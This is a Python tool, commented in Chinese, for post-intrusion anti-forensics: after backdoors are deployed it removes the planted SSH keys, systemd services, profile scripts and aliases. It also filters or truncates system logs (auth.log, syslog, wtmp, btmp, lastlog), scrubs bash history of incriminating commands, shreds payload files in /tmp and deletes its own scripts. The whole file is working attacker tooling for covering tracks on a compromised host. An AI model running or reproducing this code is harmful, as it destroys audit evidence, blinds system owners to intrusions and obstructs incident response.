#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

应急清理系统 - 分级清理和痕迹消除
实现快速清理和深度清理，确保安全撤离
"""

import os
import sys
import json
import time
import shutil
import subprocess
import logging
import argparse
from datetime import datetime
from pathlib import Path


class EmergencyCleanup:
    """应急清理系统 - 分级清理和痕迹消除"""
    
    def __init__(self):
        self.cleanup_modes = ['fast', 'deep']
        self.backup_dir = '/tmp/.system_backup'
        self.log_files_to_clean = [
            '/root/.bash_history',
            '/var/log/auth.log',
            '/var/log/secure',
            '/var/log/messages',
            '/var/log/syslog'
        ]
        
        # 配置日志
        self._setup_logging()
        
    def _setup_logging(self):
        """设置日志记录"""
        try:
            # 尝试使用统一日志系统
            import sys
            import os
            sys.path.append(os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(__file__))), 'config'))
            from unified_logger import get_logger, LogLevel, LogFormat
            
            log_config = {
                'log_level': LogLevel.INFO.value,
                'log_format': LogFormat.DETAILED.value,
                'enable_console': True,
                'enable_file': True,
                'log_dir': os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(__file__))), 'logs'),
                'log_filename': 'emergency_cleanup.log'
            }
            
            self.logger = get_logger("emergency_cleanup", log_config)
            
        except ImportError:
            # 回退到传统日志系统
            try:
                logging.basicConfig(
                    level=logging.INFO,
                    format='%(asctime)s - %(levelname)s - %(message)s',
                    handlers=[logging.StreamHandler()]
                )
                self.logger = logging.getLogger(__name__)
                
            except Exception as e:
                print("[-] 日志设置失败: {}".format(e))
                self.logger = None
    
    def cleanup(self, mode='fast', control_manual=None, deployment_records=None):
        """执行清理"""
        try:
            if mode not in self.cleanup_modes:
                print("[-] 无效的清理模式: {}".format(mode))
                return False
            
            print("[*] 开始执行 {} 清理模式...".format(mode))
            start_time = time.time()
            
            if mode == 'fast':
                success = self._fast_cleanup(control_manual, deployment_records)
            else:  # deep
                success = self._deep_cleanup(control_manual, deployment_records)
            
            elapsed_time = time.time() - start_time
            
            if success:
                print("[+] {} 清理完成，耗时: {:.1f} 秒".format(mode, elapsed_time))
                
                # 最后清理自身
                self._cleanup_self()
                
                return True
            else:
                print("[-] {} 清理失败".format(mode))
                return False
                
        except Exception as e:
            print("[-] 清理执行失败: {}".format(e))
            return False
    
    def _fast_cleanup(self, control_manual, deployment_records):
        """快速清理 - 5秒内完成"""
        try:
            print("[*] 执行快速清理...")
            
            # 1. 删除后门文件
            self._remove_backdoor_files(control_manual, deployment_records)
            
            # 2. 停止后门进程
            self._stop_backdoor_processes(control_manual)
            
            # 3. 清理关键日志记录
            self._clean_critical_logs()
            
            # 4. 删除部署记录
            self._remove_deployment_records()
            
            print("[+] 快速清理项目完成")
            return True
            
        except Exception as e:
            print("[-] 快速清理失败: {}".format(e))
            return False
    
    def _deep_cleanup(self, control_manual, deployment_records):
        """深度清理 - 30秒内完成"""
        try:
            print("[*] 执行深度清理...")
            
            # 1. 执行快速清理
            self._fast_cleanup(control_manual, deployment_records)
            
            # 2. 恢复系统文件
            self._restore_system_files()
            
            # 3. 深度清理日志
            self._deep_clean_logs()
            
            # 4. 清理网络连接记录
            self._clean_network_traces()
            
            # 5. 覆盖删除敏感文件
            self._secure_delete_sensitive_files()
            
            # 6. 清理内存痕迹
            self._clean_memory_traces()
            
            print("[+] 深度清理项目完成")
            return True
            
        except Exception as e:
            print("[-] 深度清理失败: {}".format(e))
            return False
    
    def _remove_backdoor_files(self, control_manual, deployment_records):
        """删除后门文件"""
        try:
            print("[*] 删除后门文件...")
            
            files_to_remove = []
            
            # 从控制手册中提取文件路径
            if control_manual:
                backdoor_controls = control_manual.get('backdoor_controls', {})
                
                for deployment_id, control in backdoor_controls.items():
                    backdoor_type = control['type']
                    
                    if backdoor_type == 'ssh_key':
                        # SSH密钥文件
                        activation = control.get('activation', '')
                        if '-i ' in activation:
                            key_path = activation.split('-i ')[1].split(' ')[0]
                            key_path = os.path.expanduser(key_path)
                            files_to_remove.extend([key_path, "{}.pub".format(key_path)])
                    
                    elif backdoor_type == 'systemd_service':
                        # Systemd服务文件
                        emergency_commands = control_manual.get('emergency_commands', {})
                        for cmd in emergency_commands.values():
                            if 'systemctl stop' in cmd:
                                service_name = cmd.split('systemctl stop ')[1].split(' &&')[0]
                                service_file = "/etc/systemd/system/{}.service".format(service_name)
                                files_to_remove.append(service_file)
                    
                    elif backdoor_type == 'env_variable':
                        # 环境变量脚本
                        status_commands = control_manual.get('status_commands', {})
                        for cmd in status_commands.values():
                            if 'test -f' in cmd and '/etc/profile.d/' in cmd:
                                file_path = cmd.split('test -f ')[1].split(' &&')[0]
                                files_to_remove.append(file_path)
                    
                    elif backdoor_type == 'file_trigger':
                        # 文件触发脚本
                        files_to_remove.extend([
                            '/usr/local/bin/file-monitor',
                            '/usr/local/bin/monitor-service'
                        ])
                    
                    elif backdoor_type == 'bashrc_alias':
                        # Bashrc文件（需要编辑而不是删除）
                        status_commands = control_manual.get('status_commands', {})
                        for cmd in status_commands.values():
                            if 'grep -q "alias' in cmd:
                                file_path = cmd.split(' ')[-1].split(' &&')[0]
                                file_path = os.path.expanduser(file_path)
                                self._remove_alias_from_file(file_path, control)
            
            # 从部署记录中提取文件路径
            if deployment_records:
                for record in deployment_records:
                    if 'files_created' in record:
                        files_to_remove.extend(record['files_created'])
            
            # 删除文件
            removed_count = 0
            for file_path in set(files_to_remove):  # 去重
                try:
                    if os.path.exists(file_path):
                        os.remove(file_path)
                        removed_count += 1
                        if self.logger:
                            self.logger.info("Removed file: {}".format(file_path))
                except Exception as e:
                    if self.logger:
                        self.logger.warning("Failed to remove {}: {}".format(file_path, e))
            
            print("[+] 删除了 {} 个后门文件".format(removed_count))
            
        except Exception as e:
            print("[-] 删除后门文件失败: {}".format(e))
    
    def _remove_alias_from_file(self, file_path, control):
        """从文件中删除别名"""
        try:
            if not os.path.exists(file_path):
                return
            
            # 从状态命令中提取别名名称
            status_commands = control.get('status_commands', {})
            alias_name = None
            
            for cmd in status_commands.values():
                if 'grep -q "alias' in cmd:
                    parts = cmd.split('grep -q "alias ')[1].split('"')
                    alias_name = parts[0]
                    break
            
            if not alias_name:
                return
            
            # 读取文件内容
            with open(file_path, 'r') as f:
                lines = f.readlines()
            
            # 过滤掉包含别名的行
            filtered_lines = []
            for line in lines:
                if "alias {}=".format(alias_name) not in line:
                    filtered_lines.append(line)
            
            # 写回文件
            with open(file_path, 'w') as f:
                f.writelines(filtered_lines)
            
            if self.logger:
                self.logger.info("Removed alias {} from {}".format(alias_name, file_path))
            
        except Exception as e:
            if self.logger:
                self.logger.warning("Failed to remove alias from {}: {}".format(file_path, e))
    
    def _stop_backdoor_processes(self, control_manual):
        """停止后门进程"""
        try:
            print("[*] 停止后门进程...")
            
            if not control_manual:
                return
            
            stopped_count = 0
            emergency_commands = control_manual.get('emergency_commands', {})
            
            for deployment_id, cmd in emergency_commands.items():
                try:
                    if 'systemctl stop' in cmd:
                        # 停止systemd服务
                        service_name = cmd.split('systemctl stop ')[1].split(' &&')[0]
                        
                        result = subprocess.run(
                            ['systemctl', 'stop', service_name],
                            capture_output=True, text=True
                        )
                        
                        if result.returncode == 0:
                            stopped_count += 1
                            
                            # 禁用服务
                            subprocess.run(
                                ['systemctl', 'disable', service_name],
                                capture_output=True, text=True
                            )
                            
                            if self.logger:
                                self.logger.info("Stopped service: {}".format(service_name))
                    
                    elif 'pkill' in cmd:
                        # 杀死进程
                        process_name = cmd.split('pkill -f ')[1].split(' &&')[0]
                        
                        result = subprocess.run(
                            ['pkill', '-f', process_name],
                            capture_output=True, text=True
                        )
                        
                        if result.returncode == 0:
                            stopped_count += 1
                            if self.logger:
                                self.logger.info("Killed process: {}".format(process_name))
                
                except Exception as e:
                    if self.logger:
                        self.logger.warning("Failed to stop process for {}: {}".format(deployment_id, e))
            
            print("[+] 停止了 {} 个后门进程".format(stopped_count))
            
        except Exception as e:
            print("[-] 停止后门进程失败: {}".format(e))
    
    def _clean_critical_logs(self):
        """清理关键日志记录"""
        try:
            print("[*] 清理关键日志记录...")
            
            # 清理bash历史
            self._clean_bash_history()
            
            # 清理系统日志中的关键记录
            self._clean_system_logs()
            
            print("[+] 关键日志记录清理完成")
            
        except Exception as e:
            print("[-] 清理关键日志失败: {}".format(e))
    
    def _clean_bash_history(self):
        """清理bash历史"""
        try:
            # 清理当前用户的bash历史
            history_file = os.path.expanduser('~/.bash_history')
            
            if os.path.exists(history_file):
                # 读取历史记录
                with open(history_file, 'r') as f:
                    lines = f.readlines()
                
                # 过滤掉敏感命令
                sensitive_keywords = [
                    'ssh-keygen', 'authorized_keys', 'systemctl',
                    'crontab', 'alias', '/tmp/.', 'base64',
                    'deploy', 'backdoor', 'payload'
                ]
                
                filtered_lines = []
                for line in lines:
                    if not any(keyword in line.lower() for keyword in sensitive_keywords):
                        filtered_lines.append(line)
                
                # 写回过滤后的历史
                with open(history_file, 'w') as f:
                    f.writelines(filtered_lines)
                
                if self.logger:
                    self.logger.info("Cleaned bash history")
            
            # 清理内存中的历史
            os.system('history -c')
            
        except Exception as e:
            if self.logger:
                self.logger.warning("Failed to clean bash history: {}".format(e))
    
    def _clean_system_logs(self):
        """清理系统日志"""
        try:
            for log_file in self.log_files_to_clean:
                if os.path.exists(log_file):
                    try:
                        # 读取日志文件
                        with open(log_file, 'r') as f:
                            lines = f.readlines()
                        
                        # 过滤掉包含敏感信息的行
                        sensitive_patterns = [
                            'ssh-keygen', 'authorized_keys', 'systemctl',
                            'crontab', 'file-monitor', 'system-check'
                        ]
                        
                        filtered_lines = []
                        for line in lines:
                            if not any(pattern in line.lower() for pattern in sensitive_patterns):
                                filtered_lines.append(line)
                        
                        # 写回过滤后的日志
                        with open(log_file, 'w') as f:
                            f.writelines(filtered_lines)
                        
                        if self.logger:
                            self.logger.info("Cleaned log file: {}".format(log_file))
                    
                    except Exception as e:
                        if self.logger:
                            self.logger.warning("Failed to clean {}: {}".format(log_file, e))
            
        except Exception as e:
            if self.logger:
                self.logger.warning("System log cleaning failed: {}".format(e))
    
    def _remove_deployment_records(self):
        """删除部署记录"""
        try:
            print("[*] 删除部署记录...")
            
            # 删除控制手册
            control_files = [
                '/root/.control',
                '/root/.control_manual',
                '/tmp/.deployment_records'
            ]
            
            removed_count = 0
            for file_path in control_files:
                if os.path.exists(file_path):
                    try:
                        os.remove(file_path)
                        removed_count += 1
                        if self.logger:
                            self.logger.info("Removed control file: {}".format(file_path))
                    except Exception as e:
                        if self.logger:
                            self.logger.warning("Failed to remove {}: {}".format(file_path, e))
            
            print("[+] 删除了 {} 个部署记录文件".format(removed_count))
            
        except Exception as e:
            print("[-] 删除部署记录失败: {}".format(e))
    
    def _restore_system_files(self):
        """恢复系统文件"""
        try:
            print("[*] 恢复系统文件...")
            
            if not os.path.exists(self.backup_dir):
                print("[!] 备份目录不存在，跳过文件恢复")
                return
            
            restored_count = 0
            
            # 遍历备份目录
            for root, dirs, files in os.walk(self.backup_dir):
                for file in files:
                    backup_file = os.path.join(root, file)
                    
                    # 计算原始文件路径
                    relative_path = os.path.relpath(backup_file, self.backup_dir)
                    original_file = '/' + relative_path
                    
                    try:
                        # 恢复文件
                        shutil.copy2(backup_file, original_file)
                        restored_count += 1
                        
                        if self.logger:
                            self.logger.info("Restored file: {}".format(original_file))
                    
                    except Exception as e:
                        if self.logger:
                            self.logger.warning("Failed to restore {}: {}".format(original_file, e))
            
            # 删除备份目录
            try:
                shutil.rmtree(self.backup_dir)
                if self.logger:
                    self.logger.info("Removed backup directory: {}".format(self.backup_dir))
            except Exception as e:
                if self.logger:
                    self.logger.warning("Failed to remove backup directory: {}".format(e))
            
            print("[+] 恢复了 {} 个系统文件".format(restored_count))
            
        except Exception as e:
            print("[-] 恢复系统文件失败: {}".format(e))
    
    def _deep_clean_logs(self):
        """深度清理日志"""
        try:
            print("[*] 深度清理日志...")
            
            # 清理所有可能的日志文件
            additional_logs = [
                '/var/log/kern.log',
                '/var/log/daemon.log',
                '/var/log/user.log',
                '/var/log/cron.log',
                '/var/log/lastlog',
                '/var/log/wtmp',
                '/var/log/btmp'
            ]
            
            for log_file in additional_logs:
                if os.path.exists(log_file):
                    try:
                        # 对于二进制日志文件，直接清空
                        if log_file.endswith(('lastlog', 'wtmp', 'btmp')):
                            with open(log_file, 'w') as f:
                                pass  # 清空文件
                        else:
                            # 对于文本日志文件，进行内容过滤
                            self._filter_log_file(log_file)
                        
                        if self.logger:
                            self.logger.info("Deep cleaned log: {}".format(log_file))
                    
                    except Exception as e:
                        if self.logger:
                            self.logger.warning("Failed to deep clean {}: {}".format(log_file, e))
            
            print("[+] 深度日志清理完成")
            
        except Exception as e:
            print("[-] 深度清理日志失败: {}".format(e))
    
    def _filter_log_file(self, log_file):
        """过滤日志文件内容"""
        try:
            with open(log_file, 'r') as f:
                lines = f.readlines()
            
            # 更严格的过滤规则
            sensitive_patterns = [
                'ssh', 'key', 'systemctl', 'cron', 'service',
                'monitor', 'check', 'alias', 'profile',
                'tmp', 'base64', 'bash', 'script'
            ]
            
            filtered_lines = []
            for line in lines:
                if not any(pattern in line.lower() for pattern in sensitive_patterns):
                    filtered_lines.append(line)
            
            with open(log_file, 'w') as f:
                f.writelines(filtered_lines)
            
        except Exception as e:
            if self.logger:
                self.logger.warning("Failed to filter {}: {}".format(log_file, e))
    
    def _clean_network_traces(self):
        """清理网络连接记录"""
        try:
            print("[*] 清理网络连接记录...")
            
            # 清理SSH连接记录
            ssh_logs = [
                '/var/log/auth.log',
                '/var/log/secure'
            ]
            
            for log_file in ssh_logs:
                if os.path.exists(log_file):
                    try:
                        with open(log_file, 'r') as f:
                            lines = f.readlines()
                        
                        # 过滤SSH相关记录
                        filtered_lines = []
                        for line in lines:
                            if not any(keyword in line.lower() for keyword in ['ssh', 'sshd', 'connection']):
                                filtered_lines.append(line)
                        
                        with open(log_file, 'w') as f:
                            f.writelines(filtered_lines)
                        
                        if self.logger:
                            self.logger.info("Cleaned network traces from: {}".format(log_file))
                    
                    except Exception as e:
                        if self.logger:
                            self.logger.warning("Failed to clean network traces from {}: {}".format(log_file, e))
            
            print("[+] 网络连接记录清理完成")
            
        except Exception as e:
            print("[-] 清理网络连接记录失败: {}".format(e))
    
    def _secure_delete_sensitive_files(self):
        """安全删除敏感文件"""
        try:
            print("[*] 安全删除敏感文件...")
            
            # 查找可能的敏感文件
            sensitive_patterns = [
                '/tmp/.*deploy.*',
                '/tmp/.*backdoor.*',
                '/tmp/.*payload.*',
                '/tmp/.*key.*',
                '/tmp/.*cmd.*'
            ]
            
            deleted_count = 0
            
            for pattern in sensitive_patterns:
                try:
                    # 使用find命令查找匹配的文件
                    result = subprocess.run(
                        ['find', '/tmp', '-name', pattern.split('/')[-1], '-type', 'f'],
                        capture_output=True, text=True
                    )
                    
                    if result.stdout:
                        for file_path in result.stdout.strip().split('\n'):
                            if file_path and os.path.exists(file_path):
                                try:
                                    # 使用shred安全删除（如果可用）
                                    shred_result = subprocess.run(
                                        ['shred', '-u', file_path],
                                        capture_output=True, text=True
                                    )
                                    
                                    if shred_result.returncode != 0:
                                        # shred不可用，使用普通删除
                                        os.remove(file_path)
                                    
                                    deleted_count += 1
                                    if self.logger:
                                        self.logger.info("Securely deleted: {}".format(file_path))
                                
                                except Exception as e:
                                    if self.logger:
                                        self.logger.warning("Failed to securely delete {}: {}".format(file_path, e))
                
                except Exception as e:
                    if self.logger:
                        self.logger.warning("Failed to find files with pattern {}: {}".format(pattern, e))
            
            print("[+] 安全删除了 {} 个敏感文件".format(deleted_count))
            
        except Exception as e:
            print("[-] 安全删除敏感文件失败: {}".format(e))
    
    def _clean_memory_traces(self):
        """清理内存痕迹"""
        try:
            print("[*] 清理内存痕迹...")
            
            # 清理环境变量
            sensitive_env_vars = [
                'SYSTEM_PATH_CACHE',
                'DEPLOY_MODE',
                'BACKDOOR_CONFIG'
            ]
            
            for var in sensitive_env_vars:
                if var in os.environ:
                    del os.environ[var]
                    if self.logger:
                        self.logger.info("Cleared environment variable: {}".format(var))
            
            # 强制垃圾回收
            import gc
            gc.collect()
            
            print("[+] 内存痕迹清理完成")
            
        except Exception as e:
            print("[-] 清理内存痕迹失败: {}".format(e))
    
    def _cleanup_self(self):
        """清理自身"""
        try:
            print("[*] 清理部署工具...")
            
            # 获取当前脚本路径
            current_script = os.path.abspath(__file__)
            script_dir = os.path.dirname(current_script)
            
            # 查找相关的部署脚本
            deployment_scripts = [
                'deploy.sh',
                'cleanup.sh',
                'upgrade.sh',
                'check_status.sh'
            ]
            
            for script in deployment_scripts:
                script_path = os.path.join(script_dir, script)
                if os.path.exists(script_path):
                    try:
                        # 使用shred安全删除
                        result = subprocess.run(
                            ['shred', '-u', script_path],
                            capture_output=True, text=True
                        )
                        
                        if result.returncode != 0:
                            os.remove(script_path)
                        
                        if self.logger:
                            self.logger.info("Removed deployment script: {}".format(script_path))
                    
                    except Exception as e:
                        if self.logger:
                            self.logger.warning("Failed to remove {}: {}".format(script_path, e))
            
            print("[+] 部署工具清理完成")
            
        except Exception as e:
            print("[-] 清理部署工具失败: {}".format(e))
    
    def verify_cleanup(self):
        """验证清理结果"""
        try:
            print("\n[*] 验证清理结果...")
            
            issues = []
            
            # 检查常见的后门文件路径
            check_paths = [
                '/root/.ssh/.hidden_key',
                '/etc/systemd/system/log-cleaner.service',
                '/etc/profile.d/sys-env.sh',
                '/usr/local/bin/file-monitor',
                '/root/.control',
                '/tmp/.deployment_records'
            ]
            
            for path in check_paths:
                if os.path.exists(path):
                    issues.append("文件仍存在: {}".format(path))
            
            # 检查可疑进程
            result = subprocess.run(
                ['ps', 'aux'],
                capture_output=True, text=True
            )
            
            if result.returncode == 0:
                suspicious_processes = ['file-monitor', 'system-check', 'log-cleaner']
                for process in suspicious_processes:
                    if process in result.stdout:
                        issues.append("可疑进程仍在运行: {}".format(process))
            
            # 检查crontab
            result = subprocess.run(['crontab', '-l'], capture_output=True, text=True)
            if result.returncode == 0:
                suspicious_cron = ['system-check', 'file-monitor']
                for cron in suspicious_cron:
                    if cron in result.stdout:
                        issues.append("可疑crontab条目: {}".format(cron))
            
            # 输出验证结果
            if issues:
                print("[-] 清理验证发现问题:")
                for issue in issues:
                    print("  - {}".format(issue))
                return False
            else:
                print("[+] 清理验证通过，未发现残留痕迹")
                return True
            
        except Exception as e:
            print("[-] 清理验证失败: {}".format(e))
            return False


def main():
    """主函数 - 测试用"""
    parser = argparse.ArgumentParser(description='应急清理系统')
    parser.add_argument('mode', choices=['fast', 'deep'], help='清理模式')
    parser.add_argument('--verify', action='store_true', help='验证清理结果')
    
    args = parser.parse_args()
    
    cleanup = EmergencyCleanup()
    
    # 执行清理
    success = cleanup.cleanup(mode=args.mode)
    
    if success and args.verify:
        cleanup.verify_cleanup()


if __name__ == "__main__":
    main()